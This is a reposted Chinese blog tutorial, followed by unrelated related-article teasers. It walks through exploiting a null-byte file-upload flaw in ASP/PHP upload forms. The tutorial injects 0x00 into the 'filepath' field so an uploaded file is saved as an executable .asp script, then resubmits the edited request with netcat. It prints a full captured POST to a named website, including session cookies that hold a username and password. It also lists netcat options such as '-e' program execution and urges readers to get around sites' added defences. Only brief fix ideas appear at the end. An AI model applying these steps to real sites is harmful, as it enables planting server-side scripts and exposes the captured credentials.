php网站和asp上传方法,PHP/ASP上传漏洞探究

news/2024/5/21 1:02:28/文章来源:https://blog.csdn.net/weixin_33057949/article/details/115155942

一、写在前面

***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本***

nc(netcat)

用于提交数据包

dos界面下运行:

nc -vv www.***.com 80<1.txt

-vv: 回显

80:  www端口

1.txt: 就是你要发送的数据包

(更多使用方法请查看本区的帖子)

wse(wsockexpert)

对本机端口的监视,抓取ie提交的数据包

(不会用的就自己到网上搜资料n多)

二、漏洞原理

下面例子假设的前提

www主机:  www.***.com;

bbs路径 :  /bbs/

漏洞源于对动网上传文件的研究,建议有一定编程经验的,看看dvbbs的upfile.asp文件,没有必要全部看懂,upfile是通过生成一个form表上传,如下

用到的变量:

filepath 默认值uploadface 属性hiden

act      默认值upload     属性hiden

file1    就是你要传的那个文件

关键是 filepath 这个变量!

默认情况下我们的文件上传到www.***.com/bbs/uploadface/

文件是用你的上传时间命名的,就是upfile里的这一句

filename=formpath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileext

--------------------------------------

我们知道计算机里面的数据是一"\0"为标致的用过c语言的都知道

char data[]="bbs"

这个data数组长度是4: b b s \0

如果我们构造filepath如下,会怎么样呢?

filepath="/newmm.asp\0"

我们在2004.09.24.08.24传的文件就会发生变化

没有改时:

http://www.***.com/bbs/uploadface/200409240824.jpg

用我们构造的filepath时:

http://www.***.com/newmm.asp\0/200409240824.jpg

这样当服务器接收filepath数据时,检测到newmm.asp后面的\0

就理解为filepath的数据就结束了

这样我们上传的文件,比如c:\1.asp

就保存成: http://www.***.com/newmm.asp

三、后期补充

漏洞公布以后很多网站做了相应的处理,但是对于filepath的过滤和处理都不行,有很多网站只是加了n个hiden属性的变量对付网上公布的upfile.exe就是那个上传漏洞利用工具或者filepath变量利用工具(老兵的)...但是最基本的没改啊。。而且很对网站的插件里有类似的漏洞,我要说的不要依赖哪些专门的工具自己改wse抓到的包里的filepath变量,然后在用nc提交。。。就算他加n个hiden变量也于事无补。当然,如果对filepath做了很严格的过滤的话我们的这些理论就将宣告终结,就是我们的新理论诞生的时候!

监听外部主机

nc [-options] hostname port[s] [ports] ...

监听本地主机

nc -l -p port [options] [hostname] [port]

options:

-d              detach from console, stealth mode

-e prog         inbound program to exec [dangerous!!]

-g gateway      source-routing hop point[s], up to 8

-g num          source-routing pointer: 4, 8, 12, ...

-h              this cruft

-i secs         delay interval for lines sent, ports scanned

-l              listen mode, for inbound connects

-l              listen harder, re-listen on socket close

-n              numeric-only ip addresses, no dns

-o file         hex dump of traffic

-p port         local port number

-r              randomize local and remote ports

-s addr         local source address

-t              answer telnet negotiation

-u              udp mode

-v              verbose [use twice to be more verbose]

-w secs         timeout for connects and final net reads

-z              zero-i/o mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]

详细实例:

-----------------------------

一、wse抓包结果(存到1.txt里):

post /bbs/upphoto/upfile.asp http/1.1

accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

referer: http://www.xin126.com/bbs/upphoto/upload.asp

accept-language: zh-cn

content-type: multipart/form-data; boundary=-----------7d423a138d0278

accept-encoding: gzip, deflate

user-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.1; .net clr 1.1.4322)

host: www.xin126.com

content-length: 1969

connection: keep-alive

cache-control: no-cache

cookie: aspsessionidaccccdcs=njhcphpalbcankobechkjanf; iscome=1; gamvancookies=1; regtime=2004%2d9%2d24+3%3a39%3a37; username=szjwwwww; pass=5211314; dl=0; userid=62; ltstyle=0; logintry=1; userpass=eb03f6c72908fd84

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

../medias/myphoto/

-----------------------------7d423a138d0278

... ...

上传

---------------7d423a138d0278-----------------

二、ultraedit打开1.txt改数据:

......

-----------------------------7d423a138d0278

content-disposition: form-data; name="filepath"

/newmm.asp█                 <===这个黑色代表一个空格是 0x20,改成0x00就可以了

......

----------------------------

三、重新计算cookies长度,然后nc提交

nc -vv www.xin126.com 80 <1.txt

ultraedit是一个16位编辑器网上可以下载得到

我们主要用来写那个结束标致: \0 ====>16位表示:0x00或者00h

其实你改的时候就直接再filepath的结尾处加个00就ok了

计算cookies长度===>你把fillepath改了之后、肯定是或+或—cookies的长度变了

......

host: www.xin126.com

content-length: 1969  <======就是这个

connection: keep-alive

cache-control: no-cache

......

计算会吧?一个字母、数字就是1

对于上传漏洞提出的解决思路:(仅供参考)

1、一般的上传是把上传路径作为一个变量来处理

===>我们的对策就是把filepath变成常量。。。

这个方法是目前最有效的(我认为的)

2、加强对于\0的处理,原来我们是读到这里就结束

我们继续读直道下一个变量开始的地方,处理就ok了

dfb66ba8ab10216dd30c16ddc3b44462.gif

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_837002.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flask专题-小说网站开发一

在比较了诸多python web框架之后&#xff0c;笔者选择选择了flask框架&#xff0c;因为笔者要做推荐系统&#xff0c;收集实验数据&#xff0c;决定开发一个小型网站&#xff0c;收集信息以作后续的推荐系统&#xff0c;对于我来说flask框架完全够用。 网站网址&#xff1a;htt…

flask专题-小说网站开发二(数据准备)

在确定使用flask开发小说网站之后&#xff0c;就要准备数据了&#xff0c;数据是活的灵魂&#xff0c;没有数据就是个空架子&#xff0c;我自己不可能去写小说了&#xff0c;只能从网站采集了&#xff0c;爬虫就是利器&#xff0c;先准备一下小说数据库&#xff0c;以及整个网站…

flask专题-小说网站开发三(注册,登录)

前面几篇准备好了数据库&#xff0c;数据&#xff0c;现在开始往后开发&#xff0c;部分可能与网上他人使用方式不同&#xff0c;本人第一次做&#xff0c;功能都实现了&#xff0c;这一篇开发注册与登录&#xff0c;先贴样式 前端 登录&#xff1a; 注册&#xff1a; 前端样…

flask专题-小说网站开发四(完结)

之前断更了&#xff0c;小说网站改成基于协同过滤的图书推荐系统了&#xff0c;并已经写完&#xff0c;传到gitee了 链接 实现的功能 推荐一块使用协同过滤的思想&#xff0c;计算物品之间的相似度 web框架使用Flask&#xff0c;小说还支持在线看的 主要功能截图 用户基本模…

帝国CMS7.5开发的小说源码自适应网站源码

全网第一版帝国内核CMS7.5开发的小说源码站自适应网站源码 源码介绍 前期没有章节数据 自带采集火车头采集规则 演示地址 演示地址&#xff1a;http://www.txtzn.com

软件工程课程设计-ch小说网站

CH小说网站 [软件开发计划书、需求分析] 作者&#xff1a;陈春旭&#xff0c;习志鹏 目录 1&#xff0e;引言&#xff08;Introduction&#xff09; 4 1.1 背景&#xff08;Background&#xff09; 4 1.2 目的&#xff08;Purpose&#xff09; 4 1.3 范围&#xff08;Scope&am…

HBuilderX打包web网站之wap2app设置底部菜单tabBar

上面是真实案例&#xff0c;首页、在看、我的就是我设置的菜单&#xff0c;还可以设置图标&#xff0c;填写图片网络地址就行。 下面是代码&#xff0c;可以直接用&#xff1a; 第一步&#xff0c;先下载2个文件或者复制也行&#xff0c;那就新建吧: 分别新建一个css文件&am…

小说站源码(带自动采集开源小说网站源码)

小说网站源码是一套文本自动聚合搜索和展示构建系统&#xff0c;设计用于编写由许多较小的文本文档组合而成的小说网站。它使用了受Markdown启发的最小格式语法&#xff0c;并添加了用于注释、概要和交叉引用的元数据语法。它被设计成一个简单的文本编辑器&#xff0c;允许轻松…

SpringBoot+ Mybatis 开发一个读书网站

项目描述 本项目为javaweb课程设计作业&#xff0c;开发了一个类似于豆瓣读书的书友交流网站。 效果图 项目结构 mapper和pojo可以用generator自动生成&#xff0c;我们只需编写controller就可以了 贴一个userController的代码&#xff0c;其他的都大同小异 package com.te…

基于SSM甜品销售网站

关于开发环境 1. jdk1.8 2. myeclipse10 3. tomcat8 4. mysql utf-8 使用技术 1. ssh 框架 2. log使用的是log4j 3. 自定义properties 4. 字符集 utf-8 5. 中文乱码使用自定义过滤器 6. 分页使用的是pager-taglib框架 7. 后台登陆使用的是frameset框架 课题设计仅供参考学习使用…

旅游管理网站前台+后台

这个网站使用JSPServlet&#xff0c;虽说是JSPServlet但是我看了看&#xff0c;大部分的代码逻辑都是写在JSP里面的。。 这个适用于毕业设计的&#xff0c;简单改一改可以适用于很多网站&#xff0c;可以改后台下拉列表的类型&#xff0c;把这个改成门户网站也不错&#xff0c;…

java jsp在线小说网站

采用了jspservlet来写&#xff0c;前端部分用了少量的js和jQuery处理&#xff0c;数据库用了MySQL&#xff0c;开发平台是myeclipse。发布文章时直接插入数据库会没有分段&#xff0c;这里的解决办法是引入第三方工具wangEditor&#xff08;wangEditor 是一款基于JavaScript和c…

校园失物招领网站

开发环境是Eclipse none&#xff0c;Mysql5.6数据库&#xff0c;Spring MVC框架&#xff0c;jdk1.7&#xff0c;Tomcat 8.0.27,静态页面是我参照网上设计的&#xff0c;系统功能基本完善&#xff0c;目前还没有发现有需要解决的bug 下载下来后&#xff0c;解压开把jar目录里面的…

CentOS服务器搭建WordPress个人博客网站

WordPress 是世界上使用最广泛的博客系统之一&#xff0c;是一款开源的PHP软件。有丰富的插件模板资源&#xff0c;使用WordPress可以快速搭建独立的博客网站。 本教程软件环境基于CentOS 6.8 64位&#xff0c;从配置LNMP环境开始一步步搭建属于你自己的WordPress博客网站。 …

基于腾讯云服务器搭建的一个简易的网站(ubuntu)

本文系湛江市岭南师范学院物联网俱乐部原创教学文章&#xff0c;转载请保留声明。 前言 本文将会带领大家去学习如何在云服务器上面部署&#xff0c;并且搭建自己的网站&#xff0c;从而让你拥有一个真正属于你自己的网站&#xff0c;不过此网站的内容比较简陋请广大网友勿笑&…

树莓派之搭建个人博客网站

树莓派之搭建个人博客网站前言一、树莓派配置1.1 window下软件安装1.2 设置静态IP&#xff08;可不设&#xff09;二、安装NTP进行自动对时2.1 换源2.2 NTP用法三、相关软件安装3.1 安装Nginx&#xff1a;3.2 安装SQLite33.3 安装PHP&#xff08;PHP7&#xff09;3.4 配置Nginx…

锚链接点击添加class_掌握文章锚文本技巧,快速提升网站优化效果

关键词锚文本链接肯定要做&#xff0c;有些人说内链导致被K站的原因&#xff0c;肯定是过度&#xff0c;不合理的内链建设&#xff0c;导致网站被K的这种说法&#xff0c;不正确&#xff0c;最多被降权&#xff0c;被K站的原因是服务器不稳定、采集文章、经常改动网站、使用作弊…

大型网站后台架构的Web Server与缓存

1.1 Web server Web server 用来解析HTTP协议。当web服务器接收到一个HTTP请求时&#xff0c;会返回一个HTTP响应&#xff0c;例如送回一个HTML页面。为了处理一个请求&#xff0c;web服务器可以响应一个静态页面或者图片。进行页面跳转&#xff0c;或者把动态响应的产生委托给…

Wss3入门(1):一步一步使用Windows SharePoint Service 3.0搭建Blog网站

开篇 Windows SharePoint Service 3.0内建了Blog模板&#xff0c;所以有些TX看到这个标题肯定觉得比较奇怪&#xff0c;认为Wss3只要一步就可以建好Blog网站了&#xff0c;没有什么好说的。其实&#xff0c;还是有些东西要修修改改的&#xff0c;一些东西的默认设置并不是我们…

个人网站上线

网址&#xff1a; http://cross.withiter.com/ 花了2周业余时间&#xff0c;终于可以上线了。网站用的最简单的JSP Servlet MongoDB开发的。很简洁。贴几张截图吧&#xff1a;